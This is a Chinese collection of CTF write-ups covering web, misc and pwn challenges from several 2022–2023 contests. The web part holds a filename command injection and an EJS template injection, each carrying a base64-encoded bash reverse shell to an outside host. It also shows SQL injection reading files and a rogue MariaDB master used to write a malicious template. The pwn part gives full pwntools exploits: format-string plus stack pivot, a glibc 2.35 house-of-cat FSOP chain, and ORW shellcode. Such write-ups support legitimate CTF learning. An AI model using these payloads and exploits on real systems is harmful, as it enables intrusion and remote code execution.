WEB

在线解压(2023国赛 华北赛区)

下载源码,审计POST路由,其中savepath可控且无过滤,直接闭合命令执行即可

命令注入点在上传的文件名,由于文件名不能包含/等特殊字符,所以需要把反弹shell的命令base64编码一下:

a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#

完整请求包如下:

POST / HTTP/1.1
Host: 1.1.1.1:12345
Content-Length: 277
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu

------WebKitFormBoundaryLtw6UwBXBsZ5zrtu
Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#"
Content-Type: image/jpeg

asdasd
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu--

附:上传文件请求包

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>POST传输数据包</title>
</head>
<body>
	<form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data">
		<label for="file">文件名:</label>
		<input type="file" name="file" id="file"><br>
		<input type="submit" name="submit" value="提交">
	</form>
</body>
</html>

卫继龚的博客——1(2023WMCTF)

下载题目附件,分析app.js

32-135行的路由,用nodejs实现了werkzeug的console,类似于Flask里面的调试模式的console,不过这里需要鉴权才能进入console

在edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)用于检查id是否包含一个或多个数字,所以还是可以注入的,只需要包含数字且不包含into、outfile、dumpfile即可

再看getPostById方法,这里直接对传入的id做拼接(在post.js)

直接传/post/1'/edit发现就可以注入

前面提到的鉴权,它的pin在程序启动的时候就被打印出来了

起个本地环境调试一下,发现主程序启动的日志在/home/ezblog/.pm2/logs/main-out.log中

题目过滤了into、outfile、dumpfile,但没过滤load_file,因此我们可以读文件拿pin:

/post/-1%20union%20select%201,2,load_file(0x2f686f6d652f657a626c6f672f2e706d322f6c6f67732f6d61696e2d6f75742e6c6f67)/edit

拿到pin之后,访问/console登录即可

console里面执行Python的终端是个摆设,不过我们能执行SQL,也能渲染模板 所以接下来的思路就是:

  1. 1. 利用SQL的general_log写文件到模板

  2. 2. 模板注入完成RCE

这里用general_log有个小坑,题目不带mysql数据库,不过我们自己创建一个即可(注意需要覆盖已有的ejs模板,不能新建ejs模板,否则会因为权限问题无法读取渲染模板):

CREATE DATABASE mysql;
CREATE TABLE mysql.general_log(
  event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  user_host mediumtext NOT NULL,
  thread_id int(11) NOT NULL,
  server_id int(10) unsigned NOT NULL,
  command_type varchar(64) NOT NULL,
  argument mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
SET GLOBAL general_log_file='/home/ezblog/views/post.ejs';
SET GLOBAL general_log='on';
SELECT "<% global.process.mainModule.require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|base64 -d|bash'); %>";

卫继龚的博客——2(2023WMCTF)

这道题,前半部分拿pin的过程和上一题一样,但这道题无法通过设置general_log_file实现文件写入

虽然这题设置了views目录下文件的权限,但是views目录依然是可写的

child_process.execSync("chmod -R 444 /home/ezblog/views/*") 

无法直接通过题目提供的SQL console执行命令,考虑主从复制(攻击者恶意的vps为主,题目靶机为从)

完整的打法如下:

在远程vps上启动一个和题目一样版本的MariaDB:

  • root密码设置为123456

  • 容器名字设置为some-mariadb,后面会用到这个容器名字(当然直接用容器ID也行,这里为了WriteUp的完整性就设置了估计容器名字)

  • 把内部的3306端口映射到外部53306端口

docker run -it -d --name some-mariadb --env MARIADB_USER=ctf --env MARIADB_PASSWORD=ctf --env MARIADB_ROOT_PASSWORD=123456 -p 53306:3306 mariadb:10.9.8

进入容器内部,执行一下命令换源并安装vim命令,方便后面改配置

sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
apt update
apt install -y vim

修改/etc/mysql/mariadb.conf.d/50-server.cnf文件,添加以下内容,开启binlog

server_id = 100secure_file_priv = log-bin = mysql-binbinlog_format = MIXED

重启容器,使上方配置生效

docker restart some-mariadb

进入容器,执行以下命令:

  1. 1. 进入mysql终端

  2. 2. 关闭主服务器的CRC32校验

  3. 3. 删除所有二进制日志

  4. 4. 创建一个数据库

  5. 5. 创建一个表

  6. 6. 插入一个值

mysql -uroot -p123456set global binlog_checksum=0;reset master;create database test;create table test.employees(  id INT,  name VARCHAR(100),  age INT);use test;INSERT INTO employees(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);

这里创建表,插入字段的原因是,binlog只会记录INSERT、UPDATE、DELETE等修改数据的语句,不会记录SELECT、SHOW等不影响数据的语句 INSERT语句的长度,需要与SELECT语句的长度一样,这里的SELECT语句写入模板文件

INSERT INTO employees(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);SELECT "<%= global.process.mainModule.require('child_process').execSync('/readflag').toString(); %>" into outfile "/home/ezblog/views/114.ejs";

我们可以在/var/lib/mysql目录中看到生成的mysql-bin.000001

将该文件从容器中复制出来,下载到本地修改

docker cp some-mariadb:/var/lib/mysql/mysql-bin.000001 .

在本地使用010 Editor修改,下图为修改前的文件内容

下图为修改后的文件内容

把修改之后的文件复制到原本的位置

docker cp mysql-bin.000001 some-mariadb:/var/lib/mysql/mysql-bin.000001

在题目靶机的SQL console执行以下命令:

  1.  创建mysql数据库

  2. 创建主从复制所需用到的表

  3. 设置题目靶机的主服务器地址及账号密码

  4.  启动主从复制

CREATE DATABASE mysql;CREATE TABLE mysql.gtid_slave_pos (  `domain_id` int(10) unsigned NOT NULL,  `sub_id` bigint(20) unsigned NOT NULL,  `server_id` int(10) unsigned NOT NULL,  `seq_no` bigint(20) unsigned NOT NULL,  PRIMARY KEY (`domain_id`,`sub_id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Replication slave GTID position';CHANGE MASTER TO  MASTER_HOST='1.1.1.1',  MASTER_PORT=53306,  MASTER_USER='root',  MASTER_PASSWORD='123456',  MASTER_LOG_FILE='mysql-bin.000001',  MASTER_LOG_POS=0;START SLAVE;

在启动主从复制之后,题目靶机会同步mysql-bin.000001并执行里面的SQL语句,此时我们的恶意模板就写到了指定位置,再解析该模板即可执行任意命令,得到flag

MISC

万能和弦(2022强网杯 青少年赛道)

图片不能正常打开

010editor打开文件,发现是一大堆密文

去我常用的在线网站解密,这个网站可以自动转很多格式,很方便,在ascii码界面可以看到,是png开头的,但是顺序不对

https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html

我们全选16进制,复制,然后打开010editor,新建一个十六进制文件,快捷键为ctrl+shift+n,然后按ctrl+shift+v粘贴进去

可以发现这个文件头很奇怪,png文件头为

89 50 4E 47 0D 0A 1A 0A

这里文件里的每两个十六进制都交换了顺序

#!/bin/python3

with open('1.png','rb') as f:
	r = f.read()
	n = b''
	with open('2.png','wb') as fo:
		for i in range(0,len(r),2):
			n+=r[i:i+2][::-1]
		fo.write(n)

运行脚本,得到一个2.png

打开图片获得提示,密钥就是音乐的财富密码

在比赛的时候也没多想,就按常规的都试了一边,发现图片里没有隐藏其他的文件夹,图片的十六进制也正常,exif信息也没有,然后就该尝试lsb隐写了

根据题目和图片提示,万能和弦就是图片的密码,我使用以下工具解题,这个工具可以提取隐藏数据

https://github.com/livz/cloacked-pixel

命令

python2 lsb.py extract 2.png out 4536251   //提取2.png图片,输出文件名为out,密码为4536251

比赛时试了很多万能和弦,终于成功了

放轻松(2022西湖论剑)

真加密,爆破密码无果,尝试明文攻击

对dasflow.pcapng明文攻击,失败

根据文件名猜测另一个加密文件dasflow.zip里面的文件就是dasflow.pcapng,根据这一猜测,对dasflow.zip进行明文攻击

得到密钥2b7d78f3 0ebcabad a069728c ,解密得到流量包

foremost可以得到一个加密的压缩包,根据后面TCP流分析应该对应是最后一段的flag.zip,通过导出http也可以得到

追踪TCP流,观察发现是典型的哥斯拉加密

加密逻辑很简单就是一个带key的异或,根据异或的可逆性,加密脚本同时也是解密脚本,一开始直接解会乱码

参考哥斯拉还原加密流量_u011250160的博客后得知只需要加个gzdecode即可

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
echo gzdecode(encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key));

流37读取到了flag.zip,猜测流36是flag.zip的生成过程,解密得到flag.zip的解压密码airDAS1231qaSW@,解压得到flag

隔离式机器内存分析(2022西湖论剑)

上手先imageinfo

然后看看进程

其中有几个有点可疑

  1. VBoxTray.exe:类似vmtool

  2. ClipboardMonitor:剪切板监控软件

  3. mstsc.exe:远程桌面连接

于是可以先看看剪切板

得到一个公钥,先放着

-----BEGIN PUBLIC KEY-----
MFowDQYJKoZIhvcNAQEBBQADSQAwRgJBAIEZTxxle7+5rywC5byIuBkPhwkyv57R
756DUCD9i2MWYyUs0Acc6JZwyqVOmR74uMvreI2slle4Gy7Hl6PcXxECAQI=
-----END PUBLIC KEY-----

再看看截屏

volatility -f CharlieBrown-PC.elf --profile=Win7SP1x64 screenshot -D ./file/

可以看出窗口上一个地址,结合题目描述,这可能是与研发服务器之间的远程连接,netscan也证实了这一点

于是想到去找一找bmc文件看看能不能提取一些线索,结果找到是找到了,但是不能从里面提取出来东西

于是dump下mstsc.exe的内存,将其后缀改为data并用gimp打开,找个常见分辨率1280x720就开始调位移,结果看到这样一幅图

说是找的东西不在内存里,emmm不好说

接下来看看hint,第一条hint给了一张图片,似乎是vbox显示器和显卡的一些配置

?显卡?!显存!

根据hint3可以使用volatility的vboxinfo插件找到该内存中显存的位置

于是可以找到显存在内存文件中的偏移0xdffcda2c=3757890092以及大小0x2000000=33554432,用dd命令提取一下

dd if=CharlieBrown-PC.elf of=vram skip=3757890092 bs=1 count=33554432

这样得到的就是显存,显存里面的则是图像数据,结合hint所给的1440x900的分辨率以及32的位深度,写个脚本还原下原图

from PIL import Image
width = 1440
height = 900
flag = open('vram','rb').read()
def makeSourceImg():
    img = Image.new('RGBA', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (flag[x], flag[x + 1], flag[x + 2],flag[x+3]))
            x += 4
    return img
img = makeSourceImg()
img.save('1.png')

哈哈成功了

这下就知道了flag的加密算法,使用上面的公钥解密就好了

c:451471540081589674653974518512438308733093273213393434162105049845933212224386755831134427109878720380821421287108607669893882611307516611482749725279433

e:2
n:6761456110411637567688581808417563265129495172728559363264959694161676396727177452588827048488546653264235848263182009106217734439508352645687684489830161

得到pq

p:79346858353882639199177956883793426898254263343390015030885061293456810296567
q:85213910804835068776008762162103815863113854646656693711835550035527059235383

解密

import gmpy2
def rabin_decrypt(c, p, q, e=2):
    n = p * q
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)
    yp = gmpy2.invert(p, q)
    yq = gmpy2.invert(q, p)
    r = (yp * p * mq + yq * q * mp) % n
    rr = n - r
    s = (yp * p * mq - yq * q * mp) % n
    ss = n - s
    return (r, rr, s, ss)
c = 451471540081589674653974518512438308733093273213393434162105049845933212224386755831134427109878720380821421287108607669893882611307516611482749725279433
p = 79346858353882639199177956883793426898254263343390015030885061293456810296567
q = 85213910804835068776008762162103815863113854646656693711835550035527059235383
m = rabin_decrypt(c,p,q)
for i in range(4):
    try:
        print(bytes.fromhex(hex(m[i])[2:]))
    except:
        pass

PWN

加油!💪(2023HDCTF)

__int64 vuln()
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  memset(s, 0, sizeof(s));
  puts("please show me your name: ");
  read(0, s, 0x48uLL);
  printf("hello,");
  printf(s);
  puts("keep on !");
  read(0, s, 0x60uLL);
  return 0LL;
}

格式化字符串漏洞与栈溢出漏洞。溢出后只能覆盖返回地址,因此存在两种解法:
格式化字符串 与 栈迁移

先计算出我们的RBP偏移。

使用%16$p即可获取rbp。

io.recvuntil(b'name: \n')

fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')

old_rbp = int(io.recv(12),16)

rbp与s的距离为0x60,再减去0x08的返回地址,就得到了我们的目标迁移地址。
也就是:
Target_Addr = old_rbp - 0x60 - 0x08
这样我们就得到了我们的目标地址,可以开始构建我们的Payload了。
我们只有0x60的大小构建Payload。
我们首先需要一个pop rdi, ret来将/bin/sh的地址pop进栈中作为system函数的参数。

然后就是我们的/bin/sh地址。由于我们最终的构想是getshell,因此我们需要这样构造Payload:

Payload = p64(rdi)
Payload += p64(Target_Addr + 0x8 + 0x18)
Payload += p64(system)
Payload += b'/bin/sh\x00'

我们首先将/bin/sh的地址送入rdi寄存器中,然后再继续接下来的操作。

我们将Payload填充到0x50大小,因为0x50是s的大小。剩下的0x10则是我们的RBP与Leave, Return指令。
/bin/sh的地址为什么是Target_Addr + 0x8 + 0x18是因为Target_Addr指向rdi,0x08 + 0x18 也就是0x20代表第四个数据,也就是b’/bin/sh\x00’。

下面是完整exp

from PwnModules import *

io = process('./hdctf')
#io = remote('node4.anna.nssctf.cn', 28031)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')

io.recvuntil(b'name: \n')

fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')

old_rbp = int(io.recv(12), 16)

log.success('RBP Addr: ' + (hex(old_rbp)))

leave_ret = 0x4007F2
rdi = 0x4008D3
system = elf.plt['system']

Target_Addr = old_rbp - 0x60 - 0x08

# RDI will pop binsh addr as system's arg
# Offset : 0x08
Payload = p64(rdi)
# Offset : 0x08 + 0x08
Payload += p64(Target_Addr + 0x8 + 0x18)
# Offset : 0x08 + 0x10
Payload += p64(system)
# Offset : 0x08 + 0x18
Payload += b'/bin/sh\x00'
# Fill the Payload to 0x50.
Payload = Payload.ljust(0x50, b'\x00')
# The Leave Ret cmd's ret addr.
Payload += p64(Target_Addr)
# The Leave Ret
Payload += p64(leave_ret)

io.recvuntil(b'keep on !\n')
io.send(Payload)

io.interactive()

家居の小猫🐱(2022强网杯 初赛)

该手法主要是利用偏移vtable,和house of kiwi类似的触发手法,导致最后有一条调用链,在下面解题当中细说

'[*] '/home/peiwithhao/Downloads/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'

题目版本为glibc-2.35,题目逆向方面,漏洞即为uaf,且修改部分限制了只有两次,且限制了题目申请的堆块大小,只能申请到部分largebin,所以题目中我们采用两次largebin attack进行地址任意写

void delete()
{
  unsigned __int64 num; // [rsp+8h] [rbp-8h]

  my_write("plz input your cat idx:\n");
  num = (unsigned int)get_num();
  if ( num <= 0xF && *((_QWORD *)&chunk_ptr + num) )
    free(*((void **)&chunk_ptr + num));
  else
    my_write("invalid!\n");
}

首先我们第一次写stderr指针内容为我们堆块上的一个地址,这样我们就可以创建一个虚假的_IO_2_1_stderr,因此我们也可以修改其vtable的指针,但是由于高版本IO的限制,其中对于vtable的地址需要处于一定段之中,但是对于其中的具体地址却检查的并不细致,所以我们可以对于其中vtable的指针进行一个偏移,这里我们如果将stderr指向的结构体中vtable变为_IO_wfile_jumps+0x10,那么本该调用__xsputn就会调用到__seekoff

/* offset      |    size */  type = struct _IO_jump_t {
/*      0      |       8 */    size_t __dummy;
/*      8      |       8 */    size_t __dummy2;
/*     16      |       8 */    _IO_finish_t __finish;
/*     24      |       8 */    _IO_overflow_t __overflow;
/*     32      |       8 */    _IO_underflow_t __underflow;
/*     40      |       8 */    _IO_underflow_t __uflow;
/*     48      |       8 */    _IO_pbackfail_t __pbackfail;
/*     56      |       8 */    _IO_xsputn_t __xsputn;
/*     64      |       8 */    _IO_xsgetn_t __xsgetn;
/*     72      |       8 */    _IO_seekoff_t __seekoff;
/*     80      |       8 */    _IO_seekpos_t __seekpos;
/*     88      |       8 */    _IO_setbuf_t __setbuf;
/*     96      |       8 */    _IO_sync_t __sync;
/*    104      |       8 */    _IO_doallocate_t __doallocate;
/*    112      |       8 */    _IO_read_t __read;
/*    120      |       8 */    _IO_write_t __write;
/*    128      |       8 */    _IO_seek_t __seek;
/*    136      |       8 */    _IO_close_t __close;
/*    144      |       8 */    _IO_stat_t __stat;
/*    152      |       8 */    _IO_showmanyc_t __showmanyc;
/*    160      |       8 */    _IO_imbue_t __imbue;

而house of cat就是利用到了调用到了__seekoff,从源码我们可以查看

首先就是借鉴house of kiwi的思想,触发__malloc_assert来进行利用,然后会调用

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

fflush(stderr),这里如果我们修改了stderr,就会触发我们想要的过程,如下

int _IO_fflush (FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}

这里调用链如下:

__malloc_assert
 	__fxprintf
 		__vfxprintf
 			__locked_vfxprintf
 				__vfwprintf_internal	
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
		  unsigned int mode_flags)
{
  if (_IO_fwide (fp, 0) <= 0)
    return __vfprintf_internal (fp, fmt, ap, mode_flags);

  /* We must convert the narrow format string to a wide one.
     Each byte can produce at most one wide character.  */
  wchar_t *wfmt;
  mbstate_t mbstate;
  int res;
  int used_malloc = 0;
  size_t len = strlen (fmt) + 1;

  if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t)))
    {
      __set_errno (EOVERFLOW);
      return -1;
    }
  if (__libc_use_alloca (len * sizeof (wchar_t)))
    wfmt = alloca (len * sizeof (wchar_t));
  else if ((wfmt = malloc (len * sizeof (wchar_t))) == NULL)
    return -1;
  else
    used_malloc = 1;

  memset (&mbstate, 0, sizeof mbstate);
  res = __mbsrtowcs (wfmt, &fmt, len, &mbstate);

  if (res != -1)
    res = __vfwprintf_internal (fp, wfmt, ap, mode_flags);

  if (used_malloc)
    free (wfmt);

  return res;
}

执行到__vfwprintf_internal的时候,按照正常情况最终会调用vtable指针的xsputn指针,但是如果我们对其进行了一个小偏移,例如0x10,那么他就会调用seekoff指针,

而如果我们修改vtable为_IO_wfile_jumps,那么就会调用到_IO_wfile_jumps函数

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

其中开头有这样一段函数

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  /* Short-circuit into a separate function.  We don't want to mix any
     functionality and we don't want to touch anything inside the FILE
     object. */
  if (mode == 0)
    return do_ftell_wide (fp);

  /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
     offset of the underlying file must be exact.  */
  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));


  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
    
   ...

其中若通过了一定检测则会调用到_IO_switch_to_wget_mode函数,如下:

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
      
...

而这里通过源码的调试实际上会调用到我们rax+0x18的地址,这里我们可以通过之前fake IO的构造来写入setcontext+61或者system,

 ► 0x7f273d283d30 <_IO_switch_to_wget_mode>       endbr64                                                 
   0x7f273d283d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]                      
   0x7f273d283d3b <_IO_switch_to_wget_mode+11>    push   rbx                                              
   0x7f273d283d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi                                         
   0x7f273d283d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]                      
   0x7f273d283d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]                      
   0x7f273d283d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>                                                                                                                                                                                 
   0x7f273d283d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]                      
   0x7f273d283d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff                                  
   0x7f273d283d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]                           

可以看到最后的一条汇编是直接的call指令,且此时的rax我们是指向的fake IO中我们布置的_wide_data的,这里同样重要是因为在上面我们需要绕过的检测基本上都会有他

调用链完整版如下:

__malloc_assert
 	__fxprintf
 		__vfxprintf
 			__locked_vfxprintf
 				__vfwprintf_internal
 					_IO_wfile_seekoff
 						_IO_switch_to_wget_mode

exp如下:

from pwn import *
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']


s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)
rcl = lambda : io.recvline()

def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")

def debug(cmd = 0):
    if cmd == 0:
        gdb.attach(io)
    else:
        gdb.attach(io, cmd)
    
def get_address(mode = 0): 
    if mode == 0:
        return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
    elif mode == 1:
        return u64(rc(6).ljust(8, b'\x00'))
    elif mode == 2:
        return int(rc(12), 16)
    elif mode == 3:
        return int(rc(16), 16)
    else :
        return 0

def choice(type_flag, content):
    sla("~~\n", type_flag + b" | r00t bbbQWBaaaaa" + content + b"QWXFdsfsfds")

def add(index, size, content):
    choice(b"CAT", b'\xff\xff\xff\xff' + b"$")
    sla("choice:\n", "1")
    sla("idx:\n", str(index))
    sla("size:\n", str(size))
    sa("content:\n", content)

def delete(index):
    choice(b"CAT", b"\xff\xff\xff\xff$")
    sla("choice:\n", "2")
    sla("idx:\n", str(index))

def show(index):
    choice(b"CAT", b"\xff\xff\xff\xff$")
    sla("choice:\n", "3")
    sla("idx:\n", str(index))
    
def mini(index, content):
    choice(b"CAT", b"\xff\xff\xff\xff$")
    sla("choice:\n", "4")
    sla("idx:\n", str(index))
    sa("content:\n", content)

io = process("./pwn")
#io = remote("node5.anna.nssctf.cn",28522)
choice(b"LOGIN", b"admin")

# leak the libc and heap addr
add(0, 0x428, "hllllll")
add(1, 0x438, "helloworld")
add(2, 0x418, "fasdfas")

delete(0)
add(3, 0x438, "mew mew mew")
show(0)
libc_base = get_address() - 0x21a0d0
show(0)
ru('text:\n')
rc(0x10)
heap_base = get_address(1) - 0x290

slog("libc_base", libc_base)
slog("heap_base", heap_base)

libc = ELF("./libc.so.6")

pop_rax = libc_base + 0x45eb0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
pop_rcx = libc_base + 0x8c6bb
syscall_ret = libc_base + next(libc.search(asm("syscall;ret")))
stderr_addr = libc_base + libc.sym['stderr']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
setcontext_addr = libc_base + libc.sym['setcontext']
close_addr = libc_base + libc.sym['close']
main_arena = libc_base 
ret = libc_base + 0x29cd6
slog("main_arena", main_arena)
slog("stderr_addr", stderr_addr)

# largebin attack 1: modify the stderr ptr to point our heap
fake_IO_addr = heap_base + 0xb00
fake_IO_FILE = p64(0)*6 
fake_IO_FILE += p64(1) + p64(0) #_IO_buf_end & _IO_save_base | .widedata->write_base
fake_IO_FILE += p64(fake_IO_addr + 0xb0) #_IO_backup_base_ || .widedata->write_pt
fake_IO_FILE += p64(setcontext_addr + 61)
fake_IO_FILE = (fake_IO_FILE).ljust(0x58, b'\x00') #offset of _chain
fake_IO_FILE += p64(0) #_chain
fake_IO_FILE = (fake_IO_FILE).ljust(0x78, b'\x00') #offset of lock
fake_IO_FILE += p64(heap_base + 0x200) #lock = writeble address
fake_IO_FILE = (fake_IO_FILE).ljust(0x90, b'\x00') #offset of widedata
fake_IO_FILE += p64(heap_base + 0xb30) #rax1
fake_IO_FILE = (fake_IO_FILE).ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1)  #_mode = 1
fake_IO_FILE = (fake_IO_FILE).ljust(0xc8, b'\x00') #offset of vtable
fake_IO_FILE += p64(libc_base + 0x2160c0 + 0x10) #vtable = _IO_wfile_jumps
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_IO_addr + 0x40) #rax2
payload1 = fake_IO_FILE + p64(0)*7
payload1 += p64(heap_base + 0x24a0) + p64(ret) #fake heap rsp && rcx
fake_head = p64(libc_base + 0x21a0d0)*2 + p64(heap_base + 0x290) + p64(stderr_addr - 0x20)
mini(0, fake_head)
delete(2)
add(5, 0x418, payload1)
delete(5)
add(6, 0x438, "nihao")
# largebin attack 2: modify the top chunk ptr
fake_head = p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x2040) + p64(heap_base + 0x2d50 + 0x3 - 0x20)
add(7, 0x438, "small")
add(8, 0x458, "./flag")
add(9, 0x448, "big")
orw = p64(pop_rdi) + p64(0) + p64(close_addr)
orw += p64(pop_rdi) + p64(heap_base + 0x1bf0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
orw += p64(pop_rdi) + p64(0) + p64(pop_rsi) +p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx_r12) + p64(0x30)*2+ p64(write_addr)
add(10, 0x458, orw)

debug()

delete(9)
add(11, 0x458, "hole_10")
mini(9, fake_head)
delete(7)
choice(b"CAT", b'\xff\xff\xff\xff' + b"$")
sla("choice:\n", "1")
sla("idx:\n", str(12))
sla("size:\n", str(0x458))
flag_txt = ru("}")
print(flag_txt)
io.interactive()

随机数(2023GDOUCTF)

发现了 call rsi; 指令,于是再次调用 read 将 orw_shellcode 读入并执行

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node2.anna.nssctf.cn', 28519)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))

#gdb.attach(p, 'b *0x400949')

call_rsi = 0x400c23
shellcode = asm('xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;')
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read('rax', elf.bss() + 0x100, 0x30) + shellcraft.write(1, elf.bss() + 0x100, 0x30))

